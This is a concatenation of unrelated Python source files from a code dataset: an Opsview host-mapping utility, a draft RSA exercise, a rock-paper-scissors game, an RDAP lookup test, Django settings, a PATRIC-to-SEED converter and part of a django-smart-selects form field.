of all result hosts\n updated_list = []\n if result_len >= 1:\n\n # Get list host have same host group with mapping record\n for host in result['list']:\n # If have same host group name\n if host['hostgroup']['name'] == mapping.host_group:\n updated_list.append(host)\n\n # error when configure host. On one host group have two same ip's device\n if len(updated_list) > 1:\n msg = 'more one host on hostgroup: %s' % updated_list\n logger.warn(msg)\n raise AmbiguousHost(msg=msg)\n\n else:\n # Add new device\n if len(updated_list) == 0:\n # Mapping inside dev to opsview json\n template_json = DataMapping.mapping_to_opsview_json(inside_device=dev, mapping=mapping,\n template=self.template_json,\n update_host_attribute=update_host_attribute)\n\n logger.debug('new template: %s' % jsonload.get_json_string_from_dict(template_json))\n data = opsview_client.insert_host(host=template_json)\n logger.debug('inserted data: %s' % jsonload.get_json_string_from_dict(data))\n\n else:\n # update device\n # Get only one dev in updated_list\n updated_dev = dict(updated_list.pop(0))\n temp = dict(updated_dev)\n # logger.info(updated_dev['name'])\n\n logger.debug('result api: %s' % jsonload.get_json_string_from_dict(updated_dev))\n\n temp_json = {}\n temp_json.setdefault('object', dict(updated_dev))\n\n # Get update json template from inside dev information\n updated_template_json = DataMapping.mapping_to_opsview_json(inside_device=dev,\n template=temp_json, mapping=mapping,\n update_host_attribute=update_host_attribute)\n\n result = updated_template_json['object']\n\n logger.debug('result before call mapping_to_opsview_json function: %s'\n % jsonload.get_json_string_from_dict(updated_dev))\n\n logger.debug('result update: %s' % jsonload.get_json_string_from_dict(result))\n\n logger.debug('template_json_compare: %s' % (updated_dev == result))\n\n # Compare two json opsview\n is_same = jsonload.is_same_dict(updated_dev, result)\n\n # Update device\n if not is_same:\n # Mapping from exist template json of host\n # host_id = 24411\n host_id = updated_dev['id']\n\n # Remove ip and ref key in dict\n '''\n if 'ip' in updated_dev:\n del updated_dev['ip']\n\n if 'ref' in updated_dev:\n del updated_dev['ref']\n '''\n\n logger.debug('backup template: %s' %\n jsonload.get_json_string_from_dict({'object': updated_dev}))\n\n '''\n host_attributes = updated_template_json['object']['hostattributes']\n logger.debug(host_attributes)\n for row in host_attributes:\n logger.debug(row)\n '''\n\n logger.debug(\n 'updated_template: %s' % jsonload.get_json_string_from_dict(updated_template_json))\n data = opsview_client.update_host(host_id=host_id, updated_data=updated_template_json)\n logger.debug('updated data: %s' % jsonload.get_json_string_from_dict({'object': data}))\n else:\n pass\n # Do nothing\n logger.debug(jsonload.get_json_string_from_dict(dev))\n logger.debug(jsonload.get_json_string_from_dict(updated_dev))\n logger.debug(jsonload.get_json_string_from_dict(updated_template_json))\n\n # Get attribute host of all template\n\n '''\n host_attributes = updated_template_json['object']['hostattributes']\n for row in host_attributes:\n for key in row:\n if key == 'value':\n logger.debug('%s: %s' % (key, row[key]))\n '''\n\n # Token was be expired\n except OpsviewExpiredTokenError:\n # Delete opsview_client instance, in the next time for get opsview_client, it will be created new.\n if mapping is not None:\n del self.opsviewclients[mapping.opsview_server.ip]\n raise\n\n except (PlanningError, OpsViewError):\n raise\n\n # Update inside dev list\n def auto_mapping(self, province=None, start=None, end=None, update_host_attributes=False):\n \"\"\"\n :param update_host_attributes: run script and update result\n :param end: position start of device list\n :param start: position end of device list\n :param province: If province, function will map all dev in all province.\n If province is None, only map dev which in that province\n :return: None\n \"\"\"\n\n if start is None:\n start = 0\n\n if end is None:\n end = len(self.devices)\n\n error_dev_list = []\n # for dev in self.devices:\n for index in range(start, end):\n logger.debug('index: %s' % index)\n dev = self.devices[index]\n\n # Check valid IP\n if DataMapping.is_valid_ip(dev['IP']) is False:\n logger.warning('invalid ip: %s' % jsonload.get_json_string_from_dict(dev))\n continue\n\n if DataMapping.is_valid_name(dev['TenThietBi']) is False:\n logger.warning('invalid name: %s' % jsonload.get_json_string_from_dict(dev))\n continue\n\n # If specify province, only update device for that province\n if province is not None:\n if dev['KhuVuc'] != province:\n continue\n\n # Update device\n try:\n self.update_info_opsview_for_device(dev, update_host_attribute=update_host_attributes)\n except OpsviewExpiredTokenError as ex:\n # Expire token\n logger.warning(ex)\n logger.warning('expirted token: %s' % jsonload.get_json_string_from_dict(dev))\n apilog.write_api_log(device_info=dev, description=ex.msg, status='error',\n device_name=dev['TenThietBi'], error_code=ex.error, action='auto')\n\n except (PlanningError, OpsViewError) as ex:\n # Error when process mapping\n logger.error(ex)\n logger.error('%s: %s' % (index, dev))\n apilog.write_api_log(device_info=dev, description=ex.msg, status='error',\n device_name=dev['TenThietBi'], error_code=ex.error, action='auto')\n # Add to error dev list\n error_dev_list.append(dev)\n continue\n\n # Log inside list can't mapping\n logger.error(jsonload.get_json_string_from_dict({'error_dev': error_dev_list}))\n # jsonload.export_json_to_file(error_dev_list, 'error_dev')\n\n\ndef test_syncdb_between_mapping_opsview():\n try:\n mapping_list = plannings.get_mapping_list()\n error_mapping_list = []\n for mapping in mapping_list:\n error = True\n try:\n icons.get_icon_using_name(name=mapping.icon, db_name=dbroute.get_opsview_database(\n mapping.opsview_server.ip))\n\n hostgroups.get_host_group(name=mapping.host_group,\n db_name=dbroute.get_opsview_database(mapping.opsview_server.ip))\n\n hosttemplates.get_host_template(name=mapping.host_template,\n db_name=dbroute.get_opsview_database(mapping.opsview_server.ip))\n\n monitoringservers.get_monitoring_server(name=mapping.monitor_by,\n db_name=dbroute.get_opsview_database(mapping.opsview_server.ip))\n\n except IconError as ex:\n logger.error(ex)\n error = False\n except HostGroupError as ex:\n logger.error(ex)\n error = False\n except HostTemplateError as ex:\n logger.error(ex)\n error = False\n except MonitoringServerError as ex:\n logger.error(ex)\n error = False\n\n if error is False:\n error_mapping_list.append(mapping)\n logger.error('province: %s, device_type: %s, main_depart: %s' %\n (mapping.province, mapping.device_type, mapping.main_depart))\n\n for row in error_mapping_list:\n logger.error('province: %s, device_type: %s, main_depart: %s' %\n (row.province, row.device_type, row.main_depart))\n\n\n except (PlanningError, OpsviewConnectionNotFound) as ex:\n logger.error(ex)\n","sub_path":"utils/dataload.py","file_name":"dataload.py","file_ext":"py","file_size_in_byte":42989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"168972384","text":"p = 47\nq = 71\n\nn = p * q\nflux = (p - 1) * (q - 1)\neKey = 79\n\n\n# prima gen\nlower = 1 \nupper = 20\nprint(\"Bilangan prima antara\",lower,\"and\",upper,\":\") \n# for num in range(lower,upper + 1): \n# if num > 1: \n# for i in range(2,num): \n# if (num % i) == 0: \n# break \n# else: \n# print(num)\n\nfor num in range(lower , upper + 1):\n if num > 1:\n for i in range(2,num):\n if(num & i) == 0:\n break\n else:\n print(num)\n # bangkitkan key public (e)\n # if i relatif flux:\n \n# bangkitkan nilai e tanpa random\n# !bisa di bagi 1 - 10 termasuk bilangan prima\n# z = 5 % 2\n# print(z)\n# initNilai = 0\n# if()\n# print(p,q,n,flux)\n\n# for i in range(flux):\n# # print(i)\n# if i > 1:\n# # print(i)\n# if (eKey * i) % flux == 1:\n# print(\"nilai\",i)\n\n\n# p = 1019 * 79\n# print(p)\n ","sub_path":"RSA/private.py","file_name":"private.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"223323043","text":"import random\n\ndef play(user):\n print('=' * 20)\n # com choice\n com = random.choice(['r', 'p', 's'])\n\n print(f'You: {get_choice(user)} VS COM: {get_choice(com)}')\n print('=' * 20)\n if user == com:\n return ('t', 'It\\'s a tie') \n if is_win(user, com):\n return ('w', 'You Win!')\n return ('l' ,'You Lost!')\n \ndef is_win(p1, p2):\n if (p1 == 'r' and p2 == 's') or (p1 == 's' and p2 == 'p') or (p1 == 'p' and p2 == 'r'):\n return True\n return False\n\ndef get_choice(choice):\n if choice == 'r':\n return 'Rock'\n if choice == 'p':\n return 'Paper'\n if choice == 's':\n return 'Scissors'\n\nprint('=' * 20)\nprint('Rock Paper Scissors Game')\n\nwin = 0\nlost = 0\ntie = 0\n\nulang = 'y'\nwhile ulang == 'y':\n print('=' * 20)\n user = input('What\\'s your choice ? | rock(r), paper(p), scissors(s) : ').lower()\n if user != 'r' and user != 'p' and user != 's':\n print('Choice Not Found! Please select the right choice!')\n continue\n\n status, msg = play(user)\n\n if status == 'w':\n win += 1\n elif status == 'l':\n lost += 1\n elif status == 't':\n tie += 1\n \n print(msg)\n print('=' * 20)\n print(f'Score (win : lost : tie) | {win} : {lost} : {tie}')\n print('=' * 20)\n ulang = input('Try Again ? | yes(y), no(n) : ').lower()","sub_path":"rock_paper_scissors.py","file_name":"rock_paper_scissors.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"59387532","text":"import pytest\nimport requests_mock\nimport rdap_lookup\n\n\n@pytest.fixture()\ndef response():\n return {\n \"rdapConformance\": [\"rdap_level_0\", \"cidr0\", \"arin_originas0\"],\n \"notices\": [{\n \"title\": \"Terms of Service\",\n \"description\": [\"By using the ARIN RDAP/Whois service, you are agreeing to the RDAP/Whois Terms of Use\"],\n \"links\": [{\n \"value\": \"https://rdap.arin.net/registry/ip/8.8.4.4/24\",\n \"rel\": \"about\",\n \"type\": \"text/html\",\n \"href\": \"https://www.arin.net/resources/registry/whois/tou/\"\n }]\n }, {\n \"title\": \"Whois Inaccuracy Reporting\",\n \"description\": [\"If you see inaccuracies in the results, please visit: \"],\n \"links\": [{\n \"value\": \"https://rdap.arin.net/registry/ip/8.8.4.4/24\",\n \"rel\": \"about\",\n \"type\": \"text/html\",\n \"href\": \"https://www.arin.net/resources/registry/whois/inaccuracy_reporting/\"\n }]\n }, {\n \"title\": \"Copyright Notice\",\n \"description\": [\"Copyright 1997-2021, American Registry for Internet Numbers, Ltd.\"]\n }],\n \"handle\": \"NET-8-8-4-0-1\",\n \"startAddress\": \"8.8.4.0\",\n \"endAddress\": \"8.8.4.255\",\n \"ipVersion\": \"v4\",\n \"name\": \"LVLT-GOGL-8-8-4\",\n \"type\": \"ALLOCATION\",\n \"parentHandle\": \"NET-8-0-0-0-1\",\n \"events\": [{\n \"eventAction\": \"last changed\",\n \"eventDate\": \"2014-03-14T16:52:03-04:00\"\n }, {\n \"eventAction\": \"registration\",\n \"eventDate\": \"2014-03-14T16:52:03-04:00\"\n }],\n \"links\": [{\n \"value\": \"https://rdap.arin.net/registry/ip/8.8.4.4/24\",\n \"rel\": \"self\",\n \"type\": \"application/rdap+json\",\n \"href\": \"https://rdap.arin.net/registry/ip/8.8.4.0\"\n }, {\n \"value\": \"https://rdap.arin.net/registry/ip/8.8.4.4/24\",\n \"rel\": \"alternate\",\n \"type\": \"application/xml\",\n \"href\": \"https://whois.arin.net/rest/net/NET-8-8-4-0-1\"\n }, {\n \"value\": \"https://rdap.arin.net/registry/ip/8.8.4.4/24\",\n \"rel\": \"up\",\n \"type\": \"application/rdap+json\",\n \"href\": \"https://rdap.arin.net/registry/ip/8.0.0.0/9\"\n }],\n \"entities\": [{\n \"handle\": \"GOGL\",\n \"vcardArray\": [\"vcard\", [[\"version\", {}, \"text\", \"4.0\"], [\"fn\", {}, \"text\", \"Google LLC\"], [\"adr\", {\n \"label\": \"1600 Amphitheatre Parkway\\nMountain View\\nCA\\n94043\\nUnited States\"\n }, \"text\", [\"\", \"\", \"\", \"\", \"\", \"\", \"\"]], [\"kind\", {}, \"text\", \"org\"]]],\n \"roles\": [\"registrant\"],\n \"remarks\": [{\n \"title\": \"Registration Comments\",\n \"description\": [\n \"Please note that the recommended way to file abuse complaints are located in the following links. \",\n \"\", \"To report abuse and illegal activity: https://www.google.com/contact/\", \"\",\n \"For legal requests: http://support.google.com/legal \", \"\", \"Regards, \", \"The Google Team\"]\n }],\n \"links\": [{\n \"value\": \"https://rdap.arin.net/registry/ip/8.8.4.4/24\",\n \"rel\": \"self\",\n \"type\": \"application/rdap+json\",\n \"href\": \"https://rdap.arin.net/registry/entity/GOGL\"\n }, {\n \"value\": \"https://rdap.arin.net/registry/ip/8.8.4.4/24\",\n \"rel\": \"alternate\",\n \"type\": \"application/xml\",\n \"href\": \"https://whois.arin.net/rest/org/GOGL\"\n }],\n \"events\": [{\n \"eventAction\": \"last changed\",\n \"eventDate\": \"2019-10-31T15:45:45-04:00\"\n }, {\n \"eventAction\": \"registration\",\n \"eventDate\": \"2000-03-30T00:00:00-05:00\"\n }],\n \"entities\": [{\n \"handle\": \"ABUSE5250-ARIN\",\n \"vcardArray\": [\"vcard\", [[\"version\", {}, \"text\", \"4.0\"], [\"adr\", {\n \"label\": \"1600 Amphitheatre Parkway\\nMountain View\\nCA\\n94043\\nUnited States\"\n }, \"text\", [\"\", \"\", \"\", \"\", \"\", \"\", \"\"]], [\"fn\", {}, \"text\", \"Abuse\"], [\"org\", {}, \"text\", \"Abuse\"],\n [\"kind\", {}, \"text\", \"group\"],\n [\"email\", {}, \"text\", \"network-abuse@google.com\"], [\"tel\", {\n \"type\": [\"work\", \"voice\"]\n }, \"text\", \"+1-650-253-0000\"]]],\n \"roles\": [\"abuse\"],\n \"remarks\": [{\n \"title\": \"Registration Comments\",\n \"description\": [\n \"Please note that the recommended way to file abuse complaints are located in the following links.\",\n \"\", \"To report abuse and illegal activity: https://www.google.com/contact/\", \"\",\n \"For legal requests: http://support.google.com/legal \", \"\", \"Regards,\", \"The Google Team\"]\n }, {\n \"title\": \"Unvalidated POC\",\n \"description\": [\n \"ARIN has attempted to validate the data for this POC, but has received no response from the POC since 2019-10-24\"]\n }],\n \"links\": [{\n \"value\": \"https://rdap.arin.net/registry/ip/8.8.4.4/24\",\n \"rel\": \"self\",\n \"type\": \"application/rdap+json\",\n \"href\": \"https://rdap.arin.net/registry/entity/ABUSE5250-ARIN\"\n }, {\n \"value\": \"https://rdap.arin.net/registry/ip/8.8.4.4/24\",\n \"rel\": \"alternate\",\n \"type\": \"application/xml\",\n \"href\": \"https://whois.arin.net/rest/poc/ABUSE5250-ARIN\"\n }],\n \"events\": [{\n \"eventAction\": \"last changed\",\n \"eventDate\": \"2018-10-24T11:23:55-04:00\"\n }, {\n \"eventAction\": \"registration\",\n \"eventDate\": \"2015-11-06T15:36:35-05:00\"\n }],\n \"port43\": \"whois.arin.net\",\n \"objectClassName\": \"entity\"\n }, {\n \"handle\": \"ZG39-ARIN\",\n \"vcardArray\": [\"vcard\", [[\"version\", {}, \"text\", \"4.0\"], [\"adr\", {\n \"label\": \"1600 Amphitheatre Parkway\\nMountain View\\nCA\\n94043\\nUnited States\"\n }, \"text\", [\"\", \"\", \"\", \"\", \"\", \"\", \"\"]], [\"fn\", {}, \"text\", \"Google LLC\"],\n [\"org\", {}, \"text\", \"Google LLC\"], [\"kind\", {}, \"text\", \"group\"],\n [\"email\", {}, \"text\", \"arin-contact@google.com\"], [\"tel\", {\n \"type\": [\"work\", \"voice\"]\n }, \"text\", \"+1-650-253-0000\"]]],\n \"roles\": [\"technical\", \"administrative\"],\n \"links\": [{\n \"value\": \"https://rdap.arin.net/registry/ip/8.8.4.4/24\",\n \"rel\": \"self\",\n \"type\": \"application/rdap+json\",\n \"href\": \"https://rdap.arin.net/registry/entity/ZG39-ARIN\"\n }, {\n \"value\": \"https://rdap.arin.net/registry/ip/8.8.4.4/24\",\n \"rel\": \"alternate\",\n \"type\": \"application/xml\",\n \"href\": \"https://whois.arin.net/rest/poc/ZG39-ARIN\"\n }],\n \"events\": [{\n \"eventAction\": \"last changed\",\n \"eventDate\": \"2019-10-30T07:05:21-04:00\"\n }, {\n \"eventAction\": \"registration\",\n \"eventDate\": \"2000-11-30T13:54:08-05:00\"\n }],\n \"status\": [\"validated\"],\n \"port43\": \"whois.arin.net\",\n \"objectClassName\": \"entity\"\n }],\n \"port43\": \"whois.arin.net\",\n \"objectClassName\": \"entity\"\n }],\n \"port43\": \"whois.arin.net\",\n \"status\": [\"active\"],\n \"objectClassName\": \"ip network\",\n \"cidr0_cidrs\": [{\n \"v4prefix\": \"8.8.4.0\",\n \"length\": 24\n }],\n \"arin_originas0_originautnums\": []\n }\n\n\ndef test_lookup_info(response):\n ip = \"8.8.4.4\"\n with requests_mock.Mocker() as m:\n m.get(\"https://rdap.arin.net/registry/ip/8.8.4.4/24\", json=response)\n result = rdap_lookup.perform_rdap_lookup([ip], 1)\n assert {ip: response} == result\n","sub_path":"test/test_rdap_lookup.py","file_name":"test_rdap_lookup.py","file_ext":"py","file_size_in_byte":8608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"593144723","text":"## import modules here \n\n################# Question 0 #################\n\ndef add(a, b): # do not change the heading of the function\n return a + b\n\n\n################# Question 1 #################\n\ndef nsqrt(x): # do not change the heading of the function\n #pass # **replace** this line with your code\n i=1\n while abs(i*i-x)>1e-9:\n i=(i+x/i)/2\n #print(i)\n return int(i)\n\n\n################# Question 2 #################\n\n\n# x_0: initial guess\n# EPSILON: stop when abs(x - x_new) < EPSILON\n# MAX_ITER: maximum number of iterations\n\n## NOTE: you must use the default values of the above parameters, do not change them\n\ndef find_root(f, fprime, x_0=1.0, EPSILON = 1E-7, MAX_ITER = 1000): # do not change the heading of the function\n #pass # **replace** this line with your code\n x = x_0\n x_new = x_0\n while MAX_ITER>0:\n x=x_new\n x_new = x - f(x)/fprime(x)\n if abs(x-x_new)0:\n for child in root.children:\n #print(count)\n count_depth(child,count+1,l)\n \ndef max_depth(root): # do not change the heading of the function\n #pass # **replace** this line with your code\n l=[]\n count = 1\n count_depth(root,count,l)\n #print(l)\n return max(l)\n","sub_path":"9318 Dataming and DataWarehouse/Lab/Lab1/Lab1_specs/submission.py","file_name":"submission.py","file_ext":"py","file_size_in_byte":3459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"103408776","text":"\"\"\"\nDjango settings for opencpm project.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/1.6/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/1.6/ref/settings/\n\"\"\"\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nimport os\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.dirname(__file__)))\n\nALLOWED_HOSTS = []\n\n# Add request object to template contexts\nfrom django.conf.global_settings import TEMPLATE_CONTEXT_PROCESSORS as TCP\nTEMPLATE_CONTEXT_PROCESSORS = TCP + [\n 'django.core.context_processors.request',\n]\n\nTEMPLATE_DIRS = (\n os.path.join(BASE_DIR, 'templates'),\n)\n\n# Application definition\n\nINSTALLED_APPS = (\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n\n 'rest_framework',\n 'notifications',\n\n 'apps.chat',\n 'apps.courses',\n 'apps.events',\n 'apps.files',\n 'apps.tasks',\n 'apps.users',\n 'apps.user_tracking',\n 'apps.webapp',\n 'apps.stats',\n 'apps.notifications_api',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'apps.user_tracking.middleware.UserTrackingMiddleware',\n 'libs.request_cache.middleware.RequestCacheMiddleware',\n)\n\nROOT_URLCONF = 'opencpm.urls'\n\nWSGI_APPLICATION = 'opencpm.wsgi.application'\n\n# Internationalization\n# https://docs.djangoproject.com/en/1.6/topics/i18n/\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'UTC'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.6/howto/static-files/\n\nSTATIC_URL = '/static/'\n\n# Authentication URLs\nLOGIN_URL = '/app/login'\nLOGIN_REDIRECT_URL = '/app'\n\n# REST framework setup\nREST_FRAMEWORK = {\n 'DEFAULT_PERMISSION_CLASSES': (\n 'rest_framework.permissions.IsAuthenticated',\n 'libs.permissions.rest.ObjectPermissions',\n ),\n 'DEFAULT_FILTER_BACKENDS': (\n 'libs.permissions.rest.ObjectPermissionsFilter',\n 'rest_framework.filters.DjangoFilterBackend',\n 'rest_framework.filters.OrderingFilter'\n ),\n 'PAGINATE_BY_PARAM': 'page_size',\n}\n\n# django-pipeline config\nINSTALLED_APPS += (\n 'pipeline',\n)\n\nSTATICFILES_STORAGE = 'pipeline.storage.PipelineCachedStorage'\nfrom django.conf.global_settings import STATICFILES_FINDERS as STATICFILES_FINDERS_DEFAULT\nSTATICFILES_FINDERS = STATICFILES_FINDERS_DEFAULT + [\n 'pipeline.finders.PipelineFinder',\n]\n\nPIPELINE = {\n 'JS_COMPRESSOR': 'pipeline.compressors.jsmin.JSMinCompressor',\n 'CSS_COMPRESSOR': 'pipeline.compressors.cssmin.CSSMinCompressor',\n 'CSSMIN_BINARY': 'cssmin',\n 'JAVASCRIPT': {\n 'app': {\n 'source_filenames': (\n 'js/app/app.js',\n 'js/app/chat.js',\n 'js/app/custom_filter.js',\n 'js/app/events.js',\n 'js/app/files.js',\n 'js/app/navfilter.js',\n 'js/app/notifications.js',\n 'js/app/repositories.js',\n 'js/app/stats.js',\n 'js/app/tasks.js',\n 'js/app/users.js',\n ),\n 'output_filename': 'js/app.js',\n },\n 'vendor': {\n 'source_filenames': (\n 'bower_components/jquery/dist/jquery.js',\n 'bower_components/underscore/underscore.js',\n 'bower_components/moment/moment.js',\n 'bower_components/fullcalendar/dist/fullcalendar.js',\n 'bower_components/angular/angular.js',\n 'bower_components/angular-cookies/angular-cookies.js',\n 'bower_components/angular-ui-router/release/angular-ui-router.js',\n 'bower_components/angular-bootstrap/ui-bootstrap-tpls.js',\n 'bower_components/angular-ui-indeterminate/dist/indeterminate.js',\n 'bower_components/angular-ui-calendar/src/calendar.js',\n 'bower_components/angular-file-upload/dist/angular-file-upload.js',\n 'bower_components/angular-google-chart/ng-google-chart.js',\n ),\n 'output_filename': 'js/vendor.js',\n }\n },\n 'STYLESHEETS': {\n 'app': {\n 'source_filenames': (\n 'css/bootstrap.css',\n 'bower_components/font-awesome/css/font-awesome.min.css',\n 'css/style.css',\n 'css/style-responsive.css',\n 'bower_components/fullcalendar/dist/fullcalendar.css',\n 'css/app.css',\n ),\n 'output_filename': 'css/app_all.css'\n }\n }\n}\n\n# Other settings\nSITE_NAME = 'OpenCPM'\n\nFILE_THUMBNAIL_CACHE_TIMEOUT = 5*60 # Number of seconds to cache Dropbox thumbnails\nFILE_METADATA_CACHE_TIMEOUT = 60*60 # Number of seconds to cache Dropbox file metadata\n\n# Django-RT settings\nRT_SSE_HEARTBEAT = 30\n\n# HACK: this fixes https://github.com/tomchristie/django-rest-framework/issues/2763\nimport django.core.handlers.wsgi as wsgi\nfrom django.utils.six.moves.http_client import responses\nwsgi.STATUS_CODE_TEXT = responses\n","sub_path":"opencpm/settings/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":5461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"648598963","text":"#!/usr/bin/env python\n#############################################################################################\n## PhiSpy is a computer program written in C++, Python and R to \n## identify prophages in a complete bacterial genome sequences.\n##\n## Initial versions of PhiSpy were written by\n## Sajia Akhter (sajia@stanford.edu) PhD Student Edwards Bioinformatics Lab \n## (http://edwards.sdsu.edu/labsite/), Computational Science Research Center \n## (http://www.csrc.sdsu.edu/csrc/), San Diego State University (http://www.sdsu.edu/)\n##\n## Improvements, bug fixes, and other changes were made by\n## Katelyn McNair Edwards Bioinformatics Lab (http://edwards.sdsu.edu/labsite/) \n## San Diego State University (http://www.sdsu.edu/)\n## \n## The MIT License (MIT)\n## Copyright (c) 2016 Rob Edwards\n## Permission is hereby granted, free of charge, to any person obtaining a copy\n## of this software and associated documentation files (the \"Software\"), to deal\n## in the Software without restriction, including without limitation the rights\n## to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n## copies of the Software, and to permit persons to whom the Software is\n## furnished to do so, subject to the following conditions:\n## \n## The above copyright notice and this permission notice shall be included in all\n## copies or substantial portions of the Software.\n## \n## THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n## IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n## FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n## AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n## LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n## OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n## SOFTWARE.\n## \n## Improvements, bug fixes and other changes (2019) were made by forking the github version: \n## - Conversion from python2 -> python3\n## - Add prophage.tbl\n## - Simplification of code and integration into BacterialGenotyper\n##\n#############################################################################################\n\"\"\"\nConvert a tab file from PATRIC to a the SEED files that we need for PhiSpy\n\nWe need the following files:\n\n1. assigned_functions - a tab separated list of FIG ID and function\n2. contigs - the fasta DNA sequence. Note we may download this separately\n3. genome - the name of the genome -- may not be required\n4. taxonomy - the taxonomy of the genome -- may not be required\n5. taxonomy_id - the tax id. -- also may not be required\n6. Features/peg/tbl - the tbl that has id,contig_start_stop, [alt ids]\n7. Features/rna/tbl - the RNA genes\n\n\nThe files that PhiSpy opens are:\n\na. dir/contigs\nb. dir/Features/peg/tbl\nc. dir/assigned_functions\nd. dir/Features/rna/tbl\n\n\n\"\"\"\n\nimport os\nimport sys\nimport argparse\n\n#################################################\ndef parse_tab(filename, outputdir):\n\t\"\"\"\n\tParse a patric tab file\n\t:param filename: the file to parse\n\t:return: ummm\n\t\"\"\"\n\n\tif not (os.path.exists(os.path.join(outputdir, \"Features\"))):\n\t\tos.mkdir(os.path.join(outputdir, \"Features\"))\n\tif not (os.path.exists(os.path.join(outputdir, \"Features/peg\"))):\n\t\tos.mkdir(os.path.join(outputdir, \"Features/peg\"))\n\tif not (os.path.exists(os.path.join(outputdir, \"Features/rna\"))):\n\t\tos.mkdir(os.path.join(outputdir, \"Features/rna\"))\n\n\tpeg = open(os.path.join(outputdir, \"Features/peg/tbl\"), 'w')\n\trna = open(os.path.join(outputdir, \"Features/rna/tbl\"), 'w')\n\tasf = open(os.path.join(outputdir, \"assigned_functions\"), 'w')\n\n\twrote_genome = False\n\n\twith open(filename, 'r') as fin:\n\t\tfor l in fin:\n\t\t\tif l.startswith('genome_id'):\n\t\t\t\tcontinue\n\n\t\t\t# genome_id\tgenome_name\taccession\tannotation\tfeature_type\tpatric_id\trefseq_locus_tag\talt_locus_tag\n\t\t\t# uniprotkb_accession\tstart\tend\tstrand\tna_length\tgene\tproduct\tfigfam_id\tplfam_id\tpgfam_id\n\t\t\t# go\tec\tpathway\n\t\t\tl = l.replace(\"\\n\", \"\") # this is a hack because I can't figure out how to do chomp\n\t\t\tp = l.split(\"\\t\")\n\n\t\t\tif not wrote_genome:\n\t\t\t\twith open(os.path.join(outputdir, \"GENOME\"), 'w') as gout:\n\t\t\t\t\tgout.write(\"{}\\n\".format(p[1]))\n\t\t\t\twrote_genome = True\n\n\t\t\tgid, name, acc, who, ftype, fid, refseq_locus, alt, uni, start, stop, strand, length, gene, prod, ffid, plid, pgid, go, ec, pw = p\n\n\t\t\tif start > stop:\n\t\t\t\t(start, stop) = (stop, start)\n\n\t\t\tif \"CDS\" in p[4]:\n\t\t\t\tpeg.write(\"{}\\t{}_{}_{}\\n\".format(fid, acc, start, stop))\n\t\t\t\tasf.write(\"{}\\t{}\\n\".format(fid, prod))\n\t\t\telif \"rna\" in p[4].lower():\n\t\t\t\trna.write(\"{}\\t{}_{}_{}\\n\".format(fid, acc, start, stop))\n\tpeg.close()\n\trna.close()\n\tasf.close()\n\n#################################################\nif __name__ == '__main__':\n\tparser = argparse.ArgumentParser(description=\"Convert a patric tab file to a minimal seed directory\")\n\tparser.add_argument('-f', help='The patric tab file', required=True)\n\tparser.add_argument('-o', help='output directory', required=True)\n\tparser.add_argument('-v', help='verbose output', action=\"store_true\")\n\targs = parser.parse_args()\n\n\tif not os.path.exists(args.o):\n\t\tos.mkdir(args.o)\n\n\tparse_tab(args.f, args.o)\n","sub_path":"PhiSpy_tools/tab2seed.py","file_name":"tab2seed.py","file_ext":"py","file_size_in_byte":5152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"468107136","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/rmartins/Desenvolvimento/Django/Apps/wagtaildemo/smart_selects/form_fields.py\n# Compiled at: 2016-01-06 07:19:32\ntry:\n from django.apps import apps\n get_model = apps.get_model\nexcept ImportError:\n from django.db.models.loading import get_model\n\nfrom django.forms.models import ModelChoiceField, ModelMultipleChoiceField\nfrom django.forms import ChoiceField\nfrom smart_selects.widgets import ChainedSelect, ChainedSelectMultiple\nfrom django.utils.encoding import force_text\nimport traceback\n\nclass ChainedModelChoiceField(ModelChoiceField):\n\n def __init__(self, to_app_name, to_model_name, chained_field, chained_model_field, foreign_key_app_name, foreign_key_model_name, foreign_key_field_name, show_all, auto_choose, manager=None, initial=None, view_name=None, *args, **kwargs):\n defaults = {'widget': ChainedSelect(to_app_name, to_model_name, chained_field, chained_model_field, foreign_key_app_name, foreign_key_model_name, foreign_key_field_name, show_all, 